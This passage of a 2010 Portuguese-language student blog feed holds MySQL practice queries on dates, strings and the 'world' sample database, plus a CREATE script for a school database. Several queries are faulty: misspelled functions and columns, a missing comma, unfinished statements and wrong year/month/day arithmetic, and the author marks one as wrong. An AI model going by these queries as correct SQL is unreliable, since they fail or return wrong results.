Bom, com isso deve ser o suficiente para rodar o projeto, lembrem-se de colocar um template, alterar as variáveis,&amp;nbsp; senhas de conexão com o banco, o xml para adicionar o servlet. ;) e colaborem comigo clicando nos anúncios no site. ;D&lt;br /&gt;
&lt;br /&gt;
Qualquer duvida entre em contato clicando&lt;a href=&quot;http://spreadsheets.google.com/viewform?formkey=dHFLMTBzOEhYejFYOE8tQ1lLZHlxSXc6MA&quot;&gt; aqui.&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2510508181142506210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2510508181142506210'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/06/audio-e-imagens-no-banco-de-dados.html' title='Áudio e Imagens no banco de dados'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-4194278573153775545</id><published>2010-06-07T09:35:00.000-03:00</published><updated>2010-06-07T09:35:36.513-03:00</updated><title type='text'>SQL</title><content type='html'>--&amp;nbsp; Selecione a data atual. &lt;br /&gt;
select curdate(); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Selecione a hora atual. &lt;br /&gt;
select curtime(); &lt;br /&gt;
&lt;br /&gt;
-- Qtos anos se passaram desde o descobrimento do brasil -- &lt;br /&gt;
select datediff(curdate(), &#39;1500-04-22&#39;)/365; &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Sabendo que uma olimpiadas se realiza a cada 4 anos e que a proxima sera em 2012(Londres), que ano &lt;br /&gt;
-- se realizará a proxima olimpiadas depois de 2012? &lt;br /&gt;
select year(date_add(&#39;2012-06-15&#39;, interval 4 year)); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Qual o nome do dia da semana que o brasil foi descoberto. &lt;br /&gt;
select dayname(&#39;1500-04-22&#39;); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Qual o ultimo dia do mes dos namorados. &lt;br /&gt;
select last_day(&#39;2010-06-12&#39;); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Quantos dias ainda restam para o natal &lt;br /&gt;
select datediff(&#39;2010-12-25&#39;, curdate()); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Quantos dias se passaram desde a morte de Ayrton Senna. &lt;br /&gt;
select datediff(curdate(), &#39;1994-05-01&#39;); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Em que semana do ano o São Paulo conquistou seu primeiro titulo nacional &lt;br /&gt;
select week(&#39;1978-03-05&#39;); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Quantos anos se passaram desde o final da primeira guerra mundial &lt;br /&gt;
select datediff(curdate(), &#39;1918-11-11&#39;)/365; &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Em que dia da semana foi o &quot;Dia D&quot;? &lt;br /&gt;
select dayname(&#39;1944-06-06&#39;); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Com quantos anos, meses e dias Pelé fez seu primeiro gol em copas do mundo. &lt;br /&gt;
select floor(datediff(&#39;1958-06-19&#39;, &#39;1940-10-23&#39;)/365) anos; &lt;br /&gt;
select floor((datediff(&#39;1958-06-19&#39;, &#39;1940-10-23&#39;)/365)%12) meses; &lt;br /&gt;
select floor(((datediff(&#39;1958-06-19&#39;, &#39;1940-10-23&#39;)/365)/12)%30) dias; &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Quantos dias faltam para o proximo aniversario de Brasilia? &lt;br /&gt;
select datediff(2011-04-21, curdate()); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; a quantos anos, meses e dias o brasil libertou os escravos &lt;br /&gt;
select floor(datediff(curdate(), &#39;1888-05-13&#39;)/365) anos; &lt;br /&gt;
select floor((datediff(curdate(), &#39;1888-05-13&#39;)/365)%12) meses; &lt;br /&gt;
select floor(((datediff(curdate(), &#39;1888-05-13&#39;)/365)/12)%30) dias; &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; em que dia da semana Tiradentes foi enforcado &lt;br /&gt;
select dayname(&#39;1792-04-21&#39;); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; quantos dias e semanas tinham se passado até a proclamacao da republica? &lt;br /&gt;
select floor(((datediff(curdate(), &#39;1889-11-15&#39;)/365)/12)%30) dias; &lt;br /&gt;
select floor((datediff(curdate(), &#39;1889-11-15&#39;)/365)%4) semanas;&amp;nbsp;&amp;nbsp; errada &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; Em que semana do ano o homem pisou pela primeira vez na lua? &lt;br /&gt;
select week(&#39;1969-07-20&#39;); &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; quantos dias se passaram entre o tri e&amp;nbsp; tetra campeonato brasileiro de futebol? &lt;br /&gt;
select datediff(&#39;1994-07-17&#39;,&#39;1970-06-21&#39; );&lt;br /&gt;
-- selecione a data de hoje menos 30 dias &lt;br /&gt;
select date_add(curdate(), interval -30 day); &lt;br /&gt;
&lt;br /&gt;
-- em que dia da semana caiu o dia 01-05-1994 &lt;br /&gt;
select dayname (&#39;1994-05-01&#39;); &lt;br /&gt;
-- selecione a data de hoje menos 30 dias &lt;br /&gt;
select date_add(curdate(), interval -30 day); &lt;br /&gt;
&lt;br /&gt;
-- em que dia da semana caiu o dia 01-05-1994 &lt;br /&gt;
select dayname (&#39;1994-05-01&#39;); &lt;br /&gt;
&lt;br /&gt;
-- quantos dias se passaram entre as missões Apolo XI e Apolo XIII &lt;br /&gt;
select datediff(&#39;1970-04-11&#39;, &#39;1969-07-20&#39;); &lt;br /&gt;
&lt;br /&gt;
-- em que semana do ano o google entrou em atividade &lt;br /&gt;
select weekofyear (&#39;1998-09-04&#39;); &lt;br /&gt;
&lt;br /&gt;
-- qual é o valor de PI arredondado para duas casas decimais &lt;br /&gt;
select round(pi(),2); &lt;br /&gt;
&lt;br /&gt;
-- quantos anos tinha o ronaldo fenômeno quando fez o primeiro gol pela seleção brasileira &lt;br /&gt;
select &lt;br /&gt;
&lt;br /&gt;
-- em que dia da semana o Brasil foi eliminado pela França na copa de 86 &lt;br /&gt;
select dayname(&#39;1986-06-21&#39;); &lt;br /&gt;
&lt;br /&gt;
-- em que dia da semana o Brasil foi eliminado pela França na copa de 06 &lt;br /&gt;
select dayname(&#39;2006-07-01&#39;); &lt;br /&gt;
&lt;br /&gt;
-- quantas letras tem a frase &quot;O Brasil é hexa&quot; &lt;br /&gt;
select lenght(&#39;O brasil e hexa&#39;); &lt;br /&gt;
&lt;br /&gt;
-- como descobrir se um determinado ano é bissexto &lt;br /&gt;
select last_day(&#39;xxxx-02-01&#39;); &lt;br /&gt;
&lt;br /&gt;
-- qual o mês atual &lt;br /&gt;
select month(curdate()); &lt;br /&gt;
&lt;br /&gt;
-- escreva a seguinte frase ao contrário: Socorram-me, Subi no ônibus em Marrocos &lt;br /&gt;
select reverse(&#39;Socorram me subi no onibus em marrocos&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorne a data de hoje mais 7 dias entre aspas &lt;br /&gt;
select quote(date_add(curdate(), interval 7 day)); &lt;br /&gt;
&lt;br /&gt;
-- quanto é o ano atual em binário &lt;br /&gt;
select bin(2010); &lt;br /&gt;
&lt;br /&gt;
-- quanto é o ano atual em haxadecimal &lt;br /&gt;
select hex(2010); &lt;br /&gt;
&lt;br /&gt;
-- qual o valor de 4F6 em decimal &lt;br /&gt;
select conv(&#39;4F6&#39;,16,10); &lt;br /&gt;
&lt;br /&gt;
-- o ano em que o corinthians conquistou seu primeiro titulo mundial interclubes era bissexto &lt;br /&gt;
select last_day(&#39;2001-02-01&#39;); &lt;br /&gt;
&lt;br /&gt;
-- qual o valor hexadecimal da string &quot;FATEC&quot; &lt;br /&gt;
select hex(&#39;FATEC&#39;);&lt;br /&gt;
-- retorna o maior valor entre os argumentos fornecidos &lt;br /&gt;
select greatest( &lt;br /&gt;
&amp;nbsp;&amp;nbsp; (select sum(population) from city), &lt;br /&gt;
&amp;nbsp;&amp;nbsp; (select sum(population) from country) &lt;br /&gt;
); &lt;br /&gt;
select greatest(4,5,8); &lt;br /&gt;
&lt;br /&gt;
select name from country where population = ( &lt;br /&gt;
&amp;nbsp;select greatest( &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select population from country where name = &#39;BRAZIL&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select population from country where name = &#39;JAPAN&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select population from country where name = &#39;UNITED STATES&#39;) &lt;br /&gt;
&amp;nbsp; ) &lt;br /&gt;
); &lt;br /&gt;
-- retorna expressao2 se expressao1 for verdadeiro, &lt;br /&gt;
-- caso contrario retorna expressao3 &lt;br /&gt;
SELECT if( &lt;br /&gt;
&amp;nbsp;&amp;nbsp; (select count(id) from city where countrycode = &#39;BRA&#39;) &amp;gt; 5, &lt;br /&gt;
&amp;nbsp;&amp;nbsp; (select count(*) from city), &lt;br /&gt;
&amp;nbsp;&amp;nbsp; (select count(id) from city where countrycode = &#39;BRA&#39;) &lt;br /&gt;
); &lt;br /&gt;
-- retorna 0 se as strings forem iguais, &lt;br /&gt;
-- -1 se o primeiro argumento for menor e 1 se o &lt;br /&gt;
-- segundo argumento for menor; &lt;br /&gt;
select strcmp( &lt;br /&gt;
&amp;nbsp;&amp;nbsp; (select name from country where code = &#39;BRA&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp; (select name from country where code = &#39;ARG&#39;) &lt;br /&gt;
); &lt;br /&gt;
-- retorna o valor absoluto da expressao &lt;br /&gt;
select abs(-2); &lt;br /&gt;
&lt;br /&gt;
-- retorna um numero inteiro maior ou igual a expressao &lt;br /&gt;
-- (arredonda para cima) &lt;br /&gt;
select ceil(5/2); &lt;br /&gt;
&lt;br /&gt;
-- retorna um numero menor ou igual a expressao &lt;br /&gt;
-- (arredonda para baixo) (DIV) &lt;br /&gt;
select floor(5/2); &lt;br /&gt;
&lt;br /&gt;
-- retorna o resto da divisao de exp1 por exp2 (MOD) &lt;br /&gt;
select 17 % 4; &lt;br /&gt;
&lt;br /&gt;
-- seleciona a potencia de exp1 elevada a exp2 &lt;br /&gt;
select pow(4,2); &lt;br /&gt;
&lt;br /&gt;
-- retorna o valor de x arredondado para um numero inteiro &lt;br /&gt;
select round(5.5); &lt;br /&gt;
&lt;br /&gt;
-- retorna o numero arredondado para n casas decimais &lt;br /&gt;
select round(5.567898765, 3); &lt;br /&gt;
&lt;br /&gt;
-- retorna o codigo ASCII do caracter mais a esquerda &lt;br /&gt;
select ascii(&#39;a&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna a representacao binaria no numero especificado &lt;br /&gt;
select bin(2010); &lt;br /&gt;
&lt;br /&gt;
-- retorna a quantidade de caracteres &lt;br /&gt;
select length(&#39;string&#39;); &lt;br /&gt;
&lt;br /&gt;
-- concatena duas ou mais strings especificadas &lt;br /&gt;
select concat(&#39;esta&#39;, &#39; &#39;, &#39;frase&#39;, &#39; &#39;, &#39;está&#39;, &#39; &#39;, &#39;concatenada&#39;); &lt;br /&gt;
&lt;br /&gt;
-- concatena utilizando um separador &lt;br /&gt;
select concat_ws(&#39;|&#39;, &#39;esta&#39;, &#39;frase&#39;, &#39;está&#39;, &#39;concatenada&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna o numero especificado convertido de uma base para outra base &lt;br /&gt;
select conv(&#39;61d&#39;,16,2); &lt;br /&gt;
&lt;br /&gt;
-- retorna um numero formatado, arredondado para n casas descimais &lt;br /&gt;
select format(69.567899, 2); &lt;br /&gt;
&lt;br /&gt;
-- retorna a posicao da primeira ocorrencia da &lt;br /&gt;
-- substring na string especificada, &lt;br /&gt;
-- iniciando a pesquisa a partir da posicao pos &lt;br /&gt;
select locate(&#39;ado&#39;, &#39;quadrado&#39;, 1); &lt;br /&gt;
&lt;br /&gt;
-- retorna uma string delimitada com aspas simples &lt;br /&gt;
select quote(&#39;salve o curintia&#39;); &lt;br /&gt;
&lt;br /&gt;
-- substitui substring na string especificada &lt;br /&gt;
select replace(&#39;quadrado&#39;, &#39;ado&#39;, &#39;ido&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna a string invertida &lt;br /&gt;
select reverse(replace(&#39;brasil&#39;,&#39;a&#39;,&#39;@&#39;)); &lt;br /&gt;
&lt;br /&gt;
-- retorna uma string em letras minusculas &lt;br /&gt;
select lower(&#39;BRASIL&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna uma string em letras maiusculas &lt;br /&gt;
select upper(&#39;brasil&#39;);&lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select Name, &lt;br /&gt;
concat(format(population/surfacearea,2), &#39; habitantes por Km²&#39;) Densidade &lt;br /&gt;
from country; &lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select round(pow(lifeexpectancy,2),2) from country; &lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select name, bin(indepyear) from country where indepyear is not null; &lt;br /&gt;
-- &lt;br /&gt;
select name, length(name) from country; &lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select name from country where length(name) = ( &lt;br /&gt;
&amp;nbsp; select max(length(name)) from country &lt;br /&gt;
); &lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select name, replace(name, &#39;a&#39;, &#39;@&#39;) from country; &lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select headofstate, lower(reverse(headofstate)) from country; &lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select name, population, quote(indepyear) from country &lt;br /&gt;
where continent = &#39;asia&#39;; &lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select name, replace(name, &#39; &#39;, &#39;&#39;) from country; &lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select name, gnp from country where gnp = ( &lt;br /&gt;
&amp;nbsp; select greatest( &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select gnp from country where name = &#39;peru&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select gnp from country where name = &#39;paraguay&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select gnp from country where name = &#39;uruguay&#39;) &lt;br /&gt;
&amp;nbsp; ) &lt;br /&gt;
); &lt;br /&gt;
--&amp;nbsp; &lt;br /&gt;
select continent, sum(population) populacao from country &lt;br /&gt;
group by continent &lt;br /&gt;
having sum(population) = ( &lt;br /&gt;
&amp;nbsp; select greatest( &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select sum(population) from country where continent = &#39;europe&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select sum(population) from country where continent = &#39;south america&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select sum(population) from country where continent = &#39;africa&#39;) &lt;br /&gt;
&amp;nbsp; ) &lt;br /&gt;
);&lt;br /&gt;
﻿-- retorne a densidade demográfica dos países, formatada em duas casas decimais &lt;br /&gt;
select name, concat (format(population/surfacearea,2), &#39;habitantes por km&#39;) Densidade from country; &lt;br /&gt;
&lt;br /&gt;
-- retorne a expectativa de vida elevado ao quadrado &lt;br /&gt;
select round(pow(lifeexpectancy,2),2) from country; &lt;br /&gt;
&lt;br /&gt;
-- converta as datas de independencia para binario &lt;br /&gt;
select name, bin(indepyear) from country where indepyear is not null; &lt;br /&gt;
&lt;br /&gt;
-- exiba o comprimento dos nomes dos paises &lt;br /&gt;
select name, length (name) from country; &lt;br /&gt;
&lt;br /&gt;
-- exiba o nome da cidade de nome mais extenso &lt;br /&gt;
select name from country where length(name) = (select max(length(name)) from country); &lt;br /&gt;
&lt;br /&gt;
-- substitua nos nomes das cidades todas as letras &#39;a&#39; para &#39;@&#39; &lt;br /&gt;
select name, replace(name, &#39;a&#39;, &#39;@&#39;) from country; &lt;br /&gt;
&lt;br /&gt;
-- inverta os nomes dos chefes de estado dos paises sulamericanos &lt;br /&gt;
select headofstate, lower(reverse(headofstate)) from country; &lt;br /&gt;
&lt;br /&gt;
-- retorne o nome, a população e a data de independencia entres aspas simples dos paises da asia &lt;br /&gt;
select name, population, quote(indepyear) from country where continent = &#39;asia&#39;; &lt;br /&gt;
&lt;br /&gt;
-- retire todos os espaços em branco dos nomes dos paises &lt;br /&gt;
select name, replace(name, &#39; &#39;, &#39;&#39;) from country; &lt;br /&gt;
&lt;br /&gt;
--- determine qual dos 3 paises possui o maior GNP: (peru, paraguai, uruguai) &lt;br /&gt;
select name, gnp from country where GNP = ( &lt;br /&gt;
&amp;nbsp;select greatest( &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select GNP from country where name = &#39;PERU&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select GNP from country where name = &#39;PARAGUAY&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select GNP from country where name = &#39;URUGUAY&#39;) &lt;br /&gt;
&amp;nbsp;) &lt;br /&gt;
); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--- determine qual continente possui a maior populacao: (europa, america do sul, africa) &lt;br /&gt;
select continent, sum(population) populacao from country &lt;br /&gt;
group by continent &lt;br /&gt;
having sum(population) = ( &lt;br /&gt;
&amp;nbsp; select greatest( &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select sum(population) from country where continent = &#39;europe&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select sum(population) from country where continent = &#39;south america&#39;), &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (select sum(population) from country where continent = &#39;africa&#39;) &lt;br /&gt;
&amp;nbsp; ) &lt;br /&gt;
);&lt;br /&gt;
select * from country c; &lt;br /&gt;
-- soma toda a populaçao de todos os paises-- &lt;br /&gt;
select sum(population) from country; &lt;br /&gt;
&lt;br /&gt;
--&amp;nbsp; soma a populaçao de cada continente separadamente-- &lt;br /&gt;
select continent sum(population) from country group by continent; &lt;br /&gt;
&lt;br /&gt;
-- exibe a media populacional de cada pais de uma regiao &lt;br /&gt;
select continent, region, avg(population) from country group by region; &lt;br /&gt;
&lt;br /&gt;
-- media de vida de cada continente-- &lt;br /&gt;
select continent, avg(lifeExpectancy) from country group by continent; &lt;br /&gt;
&lt;br /&gt;
-- conta as formas de governo de cada regiao -- &lt;br /&gt;
select continent, region, count(govermentForm) from country group by region; &lt;br /&gt;
&lt;br /&gt;
-- exibe a media de independencia de cada um dos continentes -- &lt;br /&gt;
select continent, format (avg(indepYear),2) media from country group by continent &lt;br /&gt;
order by media desc; &lt;br /&gt;
&lt;br /&gt;
-- exibe o total de area de cada continente -- &lt;br /&gt;
select continent, sum(surfaceArea) from country group by continent; &lt;br /&gt;
&lt;br /&gt;
-- exibe o total de area de cada regiao -- &lt;br /&gt;
select continent, region, sum(surfaceArea) from country group by region order by &lt;br /&gt;
continent; &lt;br /&gt;
&lt;br /&gt;
-- exibe o produto interno bruto (GNPse) de cada continente -- &lt;br /&gt;
select format (sum(gnp),2), continent from country group by continent; &lt;br /&gt;
&lt;br /&gt;
-- exibe as formas de governo de cada continente -- &lt;br /&gt;
select governmentForm, continent from country group by governmentForm; &lt;br /&gt;
&lt;br /&gt;
-- exibe as regioes de cada continente -- &lt;br /&gt;
select continent, region from country group by region; &lt;br /&gt;
&lt;br /&gt;
-- mostra a quantidade&amp;nbsp; de paises por continente -- &lt;br /&gt;
select continent, count(name) from country group by continent &lt;br /&gt;
having count(name) &amp;gt; 40 order by coount(name); &lt;br /&gt;
&lt;br /&gt;
-- quantos paises sao idependentes por continente -- &lt;br /&gt;
select continent, count(indepYear) from country group by continent; &lt;br /&gt;
&lt;br /&gt;
-- quantos paises de cada continente não sao independentes -- &lt;br /&gt;
select continent, count(indepYear) from country group by &lt;br /&gt;
&lt;br /&gt;
-- exibe o nome dos continentes com gnp maior que 1000000 -- &lt;br /&gt;
select continenet from country group by continent having (gnp) &amp;gt; 1000000; &lt;br /&gt;
-- exibe as regioes com media de vida superior a 75 anos -- &lt;br /&gt;
-- exibe as regioes com area igual ou inferior a 50000 -- &lt;br /&gt;
-- exibe os continentes com a populaçao inferior a 12000000 -- &lt;br /&gt;
-- conta quantos meses de cada continente sao republicanos --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;SUBCONSULTAS &lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
Uma condição estabelecida em uma consulta SQL pode depender do resultado de uma outra consulta &lt;br /&gt;
&lt;br /&gt;
select name,population from country where population = (select max(population) from country); -&amp;gt; retorna o nome do país mais populoso &lt;br /&gt;
&lt;br /&gt;
apelido(alias) de coluna e tabela-&amp;gt; especifica um apelido para uma coluna ou tabela &lt;br /&gt;
&lt;br /&gt;
alias de tabela &lt;br /&gt;
select c.name,ct.name from country c, city.ct where c.code = ct.countryCode; &lt;br /&gt;
&lt;br /&gt;
alias de coluna &lt;br /&gt;
select sum(surfacearea) area_total from country group by continent; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-- seleciona a data atual no formato AAAA-MM-DD &lt;br /&gt;
select curdate(); &lt;br /&gt;
&lt;br /&gt;
-- retorna a hora atual no formato HH:MM:SS &lt;br /&gt;
select curtime(); &lt;br /&gt;
&lt;br /&gt;
-- Extrai somente a parte da data de um datetime &lt;br /&gt;
select date(&#39;2010-12-19 22:50:32&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna o numero de dias entre a data inicial e a data final &lt;br /&gt;
SELECT DATEDIFF(curdate(), &#39;1997-12-31 23:59:59&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna uma data adicionada a um intervalo especifico &lt;br /&gt;
SELECT DATE_ADD(&#39;1997-12-31 23:59:59&#39;, INTERVAL 1 SECOND); &lt;br /&gt;
SELECT DATE_ADD(CURDATE(), INTERVAL 7 DAY); &lt;br /&gt;
SELECT DATE_ADD(CURDATE(), INTERVAL 7 month); &lt;br /&gt;
&lt;br /&gt;
-- retorna o dia da semana por extenso &lt;br /&gt;
select dayname(curdate()); &lt;br /&gt;
&lt;br /&gt;
-- retorna o dia do mes de uma data &lt;br /&gt;
select dayofmonth(curdate()); &lt;br /&gt;
&lt;br /&gt;
-- retorna o numero do dia da semana de uma data &lt;br /&gt;
-- 1 = domingo, 7 = sabado &lt;br /&gt;
select dayofweek(curdate()); &lt;br /&gt;
&lt;br /&gt;
-- retorna o dia do ano de uma data &lt;br /&gt;
select dayofyear(curdate()); &lt;br /&gt;
&lt;br /&gt;
-- retorna a hora de um horario &lt;br /&gt;
select hour(sysdate()); &lt;br /&gt;
&lt;br /&gt;
-- retorna o ultimo dia do mes da data fornecida(bissexto) &lt;br /&gt;
select last_day(curdate()); &lt;br /&gt;
select last_day(&#39;2008-2-1&#39;); &lt;br /&gt;
select last_day(&#39;2010-2-1&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna o nome do mes por extenso &lt;br /&gt;
select monthname(curdate()); &lt;br /&gt;
select monthname(&#39;1997-12-31&#39;); &lt;br /&gt;
&lt;br /&gt;
-- seleciona a hora de um datetime &lt;br /&gt;
select time(sysdate()); &lt;br /&gt;
&lt;br /&gt;
-- retorna a diferenca de horas &lt;br /&gt;
select timediff(time(sysdate()),&#39;08:00:00&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna o numero de dias até a data especificada &lt;br /&gt;
select to_days(&#39;1910-09-1&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna o numero da semana de uma data &lt;br /&gt;
select week(sysdate()); &lt;br /&gt;
select week(&#39;1996-12-31&#39;); &lt;br /&gt;
&lt;br /&gt;
-- retorna o ano de uma data &lt;br /&gt;
select year(sysdate());</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/4194278573153775545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/4194278573153775545'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/06/sql_07.html' title='SQL'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-3945042355123887593</id><published>2010-06-06T18:20:00.000-03:00</published><updated>2010-06-06T18:20:51.582-03:00</updated><title type='text'>SQL</title><content type='html'>Material para Consulta de SQL.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://docs.google.com/leaf?id=0BwMc3DySb_ezYzYxMGI4ZDEtNmRiMC00ZWJmLWIwMTEtMDI4OWQzZjlmODI4&amp;amp;hl=pt_BR&quot;&gt;Clique Aqui&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/3945042355123887593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/3945042355123887593'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/06/sql.html' title='SQL'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-3548270141307509942</id><published>2010-05-06T17:23:00.000-03:00</published><updated>2010-05-06T17:23:11.706-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Programação"/><title type='text'>Manipulação de registro em NetBeans</title><content type='html'>Esse exemplo que vou colocar aqui, não está completo, falta terminar a parte de edição que na verdade só está faltando fazer o POST dele da servelet e as manipulações la.&lt;br /&gt;
O de exclusão esta&amp;nbsp;fácil, lembra que a exclusão para a edição é moleza só pegar o Codigo e dar um delete no bd.&lt;br /&gt;
o Script para criação do DB é esse:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
create database escola;&lt;br /&gt;
use escola;&lt;br /&gt;
&lt;br /&gt;
CREATE TABLE `escola`.`aluno` (&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`codigo` integer &amp;nbsp;NOT NULL AUTO_INCREMENT,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`nome` varchar(50) ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`dn` date ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`rg` varchar(20) ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;PRIMARY KEY (`codigo`)&lt;br /&gt;
)&lt;br /&gt;
ENGINE = InnoDB;&lt;br /&gt;
&lt;br /&gt;
CREATE TABLE `escola`.`professor` (&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`codigo` integer &amp;nbsp;NOT NULL AUTO_INCREMENT,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`nome` varchar(50) ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`cpf` varchar(20) ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`capacitacao` varchar(255) ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;PRIMARY KEY (`codigo`)&lt;br /&gt;
)&lt;br /&gt;
ENGINE = InnoDB;&lt;br /&gt;
&lt;br /&gt;
CREATE TABLE `escola`.`sala` (&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`codigo` integer &amp;nbsp;NOT NULL AUTO_INCREMENT,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`nome` varchar(20) ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`qtdemax` integer ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;PRIMARY KEY (`codigo`)&lt;br /&gt;
)&lt;br /&gt;
ENGINE = InnoDB;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
CREATE TABLE `escola`.`turma` (&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`codigo` integer &amp;nbsp;NOT NULL,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`codaluno` integer ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`codsala` integer ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`codprofessor` integer ,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;PRIMARY KEY (`codigo`)&lt;br /&gt;
)&lt;br /&gt;
ENGINE = InnoDB;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
CREATE TABLE `escola`.`usuarios` (&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`nome` varchar(50) &amp;nbsp;NOT NULL,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`login` varchar(20) &amp;nbsp;NOT NULL,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;`senha` varchar(10) &amp;nbsp;NOT NULL,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;PRIMARY KEY (`login`)&lt;br /&gt;
)&lt;br /&gt;
ENGINE = InnoDB;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Olhá esse projeto ficou bem complicado de entender e&amp;nbsp;péssimo&amp;nbsp;no sentido de qualidade.&lt;br /&gt;
E nem presta atenção do modo que foi feito para pegar o&amp;nbsp;código&amp;nbsp;do aluno, por que foi uma solução na base da POG ;D&lt;br /&gt;
